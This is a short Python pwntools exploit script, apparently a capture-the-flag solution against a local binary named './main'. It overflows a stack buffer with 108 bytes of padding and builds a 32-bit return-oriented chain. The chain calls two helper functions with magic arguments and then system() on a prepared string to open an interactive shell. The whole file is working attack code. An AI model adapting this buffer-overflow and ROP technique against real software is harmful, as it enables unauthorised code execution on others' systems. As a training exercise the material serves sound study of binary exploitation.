
from pwn import *

ADD_BIN = 0x080484b1
ADD_SH = 0x080484fe
EXEC = 0x08048486
SYSTEM = 0x08048340

POP_RET = 0x08048666
POP_POP_RET = 0x0804864a

STRING = 0x0804a060

s = process("./main")

# Uncomment for debugging
# s = process("./main")
# gdb.attach(s, 'b*0x08048515')

payload = 'A'*108
payload += 'BBBB' # EBP

# call add_bin
payload += p32(ADD_BIN) # RET
payload += p32(POP_RET) # RET add_bin
# params add_bin
payload += p32(0xdeadbeef) # RET add_bin

# call add_sh
payload += p32(ADD_SH)
payload += p32(POP_POP_RET) # RET add_sh
# params ADD_SH
payload += p32(0xcafebabe)
payload += p32(0x0badf00d)

# call exec
payload += p32(SYSTEM)
payload += p32(POP_RET) # RET exec
# params system
payload += p32(STRING)

# call ?
payload += p32(0x41414141)

payload += '\n'
s.send(payload)

s.interactive()
#s.close()